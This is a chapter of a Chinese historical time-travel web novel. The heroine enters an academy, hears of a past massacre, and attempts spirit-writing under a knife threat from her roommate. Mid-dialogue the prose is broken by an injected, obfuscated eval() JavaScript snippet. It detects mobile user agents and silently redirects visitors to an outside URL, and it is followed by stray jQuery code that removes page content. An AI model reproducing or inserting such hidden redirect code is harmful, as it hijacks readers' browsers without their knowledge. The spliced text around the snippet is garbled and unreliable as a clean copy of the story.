不是祝弥想开了要寻死,胆敢挑衅黑夜杀手,而是那晚一提到玉佩,杀手简直可以说是逃跑、屁滚尿流。她也才注意到忽略掉绝对掌控和逼近的姿势,这人提问的语气其实也很恳切。
或许这事困扰他许久。
这叫什么,软肋?触及软肋,唯物主义也得跪下拜鬼神。
顺利定下兰舍之后,阿苓进来把东西收拾整洁。祝弥觉得古人的宿舍像是酒店标间,两床两桌两书架一屏风。
还行。
主仆二人又在一处偏僻无人的亭子上说最后的话。阿苓哭哭啼啼,叮嘱祝弥琐碎的吃穿住事项。
祝弥抱着她的头,笑着说:“阿苓你大我几岁,可难过就哭开心就笑,比我像小孩。”
阿苓佯怒:“不出月余小姐必会哭着想回家。立个赌,阿苓押三百钱!”
“三百钱价值多少?”
不食烟火的小姐问这个话很正常吧?祝弥拍阿苓后背的手有微微一顿。
阿苓指着湖边戏水的两只大白鹅,“三百可买一只老鹅。”
祝弥望过去:“那怕是桓错的宝贝鹅,应该不止三百。”
恐怕还得搭上小命一条。
阿苓鼻子一哼:“我才不买这老天鹅呢,毛多骨重肉柴。”
老天鹅,祝弥被这词语逗得开怀大笑。
但她很快就笑不出来了。
第二天是开学。天还没亮听见鸡叫就得醒来,和新舍友隔着玉兰屏风同时起身穿衣。
没想到桓家公子养尊处优的手脚比新世纪牛马的利索多了。有人头上的发带两端怎么也系不齐。
“魂丢了如何找回来?”屏风那边的人问。
昨夜奔波劳碌匆匆入睡,话题没机会展开。
祝弥一边重系发带一边说:“你有没有听说过什么招魂仪式?是能招魂的对吧?不然魂没了他会死的,可他没死。”
屏风上的影子捂嘴沉思,身形微弯:“五行一教的鬼魂说居然是真的吗……”
果然能见鬼的不止她一个。祝弥讶异,双手还高举系发带,就绕过屏风,瞪大眼睛看着桓错,好像找到了知己。
桓错为某人的无知无语:“五行一教有很多流派,辩三玄、辩修心、辩养生……辩鬼神的,市面上典经不少,但人少见。大部分注重玄学清谈,信奉五行平衡理论,我父亲便是其一。”
祝弥更加讶异。
桓错更加无语:“士族尤爱清谈,可从他们名字里看出来,偏旁带金木水火土的,八九不离十。”
祝弥回忆起兰亭上收到的名帖,果不其然,姓王的无一例外全是,忽然指着桓错,“你确实也是!”
“你们祝家是什么不问世事的隐士高人吗……今晚我让人买几本鬼神的书送过来。”
“行。”
“那玉佩……该怎么说话?”他问。
“会能的。信我,我是体验派有超准直觉,晚上研究研究他们学院派的说法。”祝弥整理好了头饰,甩甩袖子大步流星往外走,“先上课去。”
桓错:“……”
什么是超准直觉,鬼神派的专门用语吗。
鸡叫还没停,祭孔仪式后是第一堂讲会,山长介绍学习内容。祝弥听那一串书目不由得心里慌慌,别说熟读四书五经了,她连毛笔字都写不好。
堂后留文章时不知是她的肢体语言过于心虚还是纸张上根本一字没有,山长踱步几圈,立在她旁边。
端庄持重的声音从她头顶传来,像是天雷:“祝梦成,肩腕不稳,提笔无力,去藏经阁抄五本典籍。”
祝弥缩着肩膀,老老实实点头。
原来从拿笔的姿势就看破她了吗?
书院一天就一堂课,课后她苦哈哈背起书袋往藏经阁走,离开的时候身后有其他同学的议论声,“投簪”什么的已经带上了笑料的语气词。
祝弥完全不在意,心里在祈祷古代书都薄薄一本就好。
藏经阁在书院的最里面,是一座建在半山腰的三层高塔。
一进门,里面居然人还挺多,六七个人围坐侧厅一角对着什么东西很是兴奋。穿的衣服不是青袍,交领很宽松,腰带也松垮。
脚步很轻,她像个鬼一样站在他们背后,“先生们在做什么?”
一群人太过专注手上,吓了一大跳,花儿开似地滋哇哎呀回头,一看是个学生,才又平息下来。
中间摊着的是一摞残损破败的古书。聊了一会,才知道他们在做校书工作。
一听祝弥名字,忽然又喧闹起来。
先生七嘴八舌地说:“你祖父还是我以前那时的山长呐!书不爱教,经不爱读,就爱拿着个式盘登高望远看星星。”
祝弥惊讶,但没表现出来,笑着说:“那都是多少年前了。”
先生摸摸肚皮回忆:“都快二十年了,那时候我也是个像你这么大的少年郎呢。刚来江左,不太习惯南方的湿热,连带着看你祖父都不爽,被他罚了好多字。”
说罢几人一起畅快地相视大笑。
祝弥又问:“校的书是什么书?”
有先生说:“三年前书院那场大火,好多经文典籍没救下来,可惜啊可惜。”说着手一摊,对着地上的古籍残片,“这不烧坏了好多,书院一开,我们才得来一一校对嘛。”
听起来像是很繁重的工作,祝弥问:“先生们似乎兴致很高?”
众口一齐:“好玩啊,在家太无聊了!”
祝弥心里:懂了,古法聚众玩拼图。
又问:“可为何有大火?”
气氛骤然低沉,先生们梗着胡子相互对视沉寂几瞬。
其中一个衣领松垮至肚脐的微胖先生格外洒脱,高举手一摆,拍散晦气似的:“瞧瞧你们那讳莫如深的胆小样!不过就是怀真之乱罢了!三年前一个叫怀真的恶民仗着有些百个人口跟随,自称是流民帅,专门绕过军队布防奇袭钱唐,把书院屠了烧了,想以此摧毁门阀士族。妄想!书院还不是继续开门了。”
微胖先生挠痒痒似地摸摸胸口,又说:“要我说,就不该妥协,家里没个累世公卿的族谱,寒门都不配来这个百年书院!凭什么要扩院!”
其他人捂住他嘴巴,哀叹嘘声一片,微胖先生挣脱,非要继续说:“怀真不过就是我阿兄一时怜悯救了的贱民!反倒害了我兄长!我只恨便宜了他让他在此清幽地自尽,不能亲手手刃他!”
众人连连用“哎呀哇呀”的唏嘘声盖住,一些人按住微胖先生,一些人把祝弥赶走。
祝弥也不太感兴趣陈年旧事,还是作业更重要,她可不喜欢当不听话的学生。
找了五本最薄的书,在隔间角落里颤颤巍巍终于写完。
再见到日光时已经是薄暮时分,吃晚饭时筷子也发抖。
回到宿舍,桓错在书桌前愁眉紧锁看书。
“有什么新发现吗?”
她很疲惫,书包扔在床边,倒到床上之后声音闷在枕头里,问他。
他头也不回:“书上说,魂魄分为三魂七魄。生魂、灵魂、觉魂和喜怒哀惧爱恶欲七魄。”
“嗯,再念念。”
“魂为人之根本,天地感应、生命灵性、精神思虑,皆为魂也;魄应魂而生,情绪欲望,不过七种。魂属阳附于气,魄属阴附于形体,阴阳相生,五行合一也……”
“嗯,那你家桓幼和丢的是一个魄。”祝弥趴在床上,脸在枕头里,一动不动,理论钻进耳朵里,还挺省力。
今日起得早,上完了课又写了四五小时的毛笔,手酸眼胀,闭着眼睛都不自觉流下干涩的生理泪水,回宿舍了还得费脑子想桓家的事情。有点让祝弥找到上辈子求生的辛酸感了,她一如既往,还是很吃苦耐劳的。
在社会规则之内做到最好,这是她信奉的公平主义,也因为做得很好而是既得利益者——所以她狗改不了吃屎,穿越了也当不了纨绔,忤逆不了师长,写字差就用力弥补。
桓错犹豫了一会,说:“幼和和王家一个门客的女儿是相好。情投意合,但门第不合,祖母拆散了。兰亭那天后,王家请了那娘子前来照料,幼和没再吐血,能吃喝睡走,只是目光呆滞,不为所动。”
祝弥:“兰亭之前发生什么了吗?”
“具体不知,得问姓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064792|195123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王的。”
她脑子里浮现了一下王洵乐笑呵呵的脸,觉得这不是难事,随口嘟囔一句:“你们关系真复杂,我才刚来第一天就感受到了。隔壁宿舍另外两个姓桓的看都不看你一眼,也不关心桓幼和。对了,兰亭那天不是还有一个和你关系还挺好的桓公子坐你旁边吗,怎么没来上学?”
祝弥想听八卦秘辛,不着声色地起一个头,看当事人愿不愿意接着话头往下讲了。
几秒后,书桌上的人回复:“隔壁是我同父异母的两个弟弟。祖母是祖父续弦,南渡以来就和我父亲不睦。至于兰亭上那位,他叫承礼,辈分上是我叔父,去了荆州,他父亲在那。”
“哦,你是桓家的边缘人物是吗。”
祝弥虽然闭眼养神,但思绪清明,跟着他介绍的话在心里像是拨弄算盘子,出现人名就跟着他的语气把珠子拨到珠盘另一边。听完,一看结果,好像没人和桓错这个珠子并排放在一起。
但她那句话说得很没心没肺,或者是客观,因为既不怜惜、也不贬低。
她记得桓夫人的子女都随着桓老爷守城而死,大概桓夫人是恨苟活着的桓错之父一脉吧。
对方没恼怒,只有轻轻的翻书声音。
二人无话的一点点时间,借着翻书和烛火的声音,祝弥一下子就睡着了,很沉很沉,一片漆黑,无梦之梦。
不知睡了多久。
“喂,醒醒。”
一个沉冷的声音盖过一切,响在头顶。
祝弥睁眼,对上的是桓错放大的俊脸,加上休息够了,她心情很好。
可俊脸张嘴,说出来的话让她好心情烟消云散:“今晚让玉佩说话,不然就当你骗我,我会杀了你,尸沉后山湖,喂鹅。”
某人麻溜滚下床。
抢过他手里的书翻看起来,“书上有什么说法?”
桓错:“最有可能的是扶乩通灵。”
扶乩原为古代巫祝的占卜术,起阵而接遇乩仙,使仙降于乩笔。凡人有事则问,仙动笔而答。
祝弥胡乱念着,照着上面说的做,“先净身,净手……”
连忙在旁边的水盆里狠狠洗了把脸,又在桌上拿了笔和灯,放到地上,跪坐下来。
深呼吸,静心凝神。
桓错在一旁冷冷地看着。
一刻钟后,依旧格外安静,只有烛火燃烧微小的滋滋声,灯芯变矮些许,祝弥投在墙上塌肩缩颈的影子变大了一点。
一声冷笑打破沉默,影子又瑟缩一下。
“再和不闻世事的梦成兄解释解释吧。”
桓错失去了耐心,抽出袖口里的刀,跪坐到她对面,一字一句对着不敢睁眼的祝弥说,
“如今世道混乱,胡人据北,流民闹事。司马家得以苟延残喘偏安江左,得益于两支赫赫有名的军队,一支在兖州,是王洵乐的伯父,王年统领的定北军。另一支在荆州,桓承礼的父亲,桓仪统领的镇西军。”
“嗯……”话题突兀,意义不明,但是祝弥有些打抖,额头冒汗,认真点头。
“也就是说,”随着哼笑一声,刀刃带着寒意抵到她脖子上来,“我这里轻轻一抹,祝家失了独子,你那正五品的祖父,屁都不敢放一个。”
出乎意料地,被这么一吓,一瞬间闭着眼睛的人一切不靠谱、哆哆嗦嗦的小动作顷刻收敛,整个人凌厉起来,像是换了个人,神态是生气、或者是严肃。
只见祝弥骤然睁眼,右手握住桓错持刀的手腕,带着刀贴着耳朵和头发向上一挑。忍冬纹的缨带被挑断,玉簪掉下来,清脆的咣当一声,如墨的头发盖满身体。几缕被切断的发丝落到烛火上顷刻烧尽,像是火焰腾空飞舞了一瞬。
左手向前一探,扯下他腰间的玉佩,抵在唇上。
两手动作同时迅捷,利落干脆,亦冷冷抬眸盯着桓错:“我有洁癖,不喜接触,全程别碰我。”
说罢,玉佩入口,祝弥含住,玉石的冰冷之意沿着舌尖钻入体内。意识抽丝般缓慢褪去,视线变黑前一刻,她看见面前人的表情变了,变软了。
想学他冷笑,但不知道自己有没有做出来。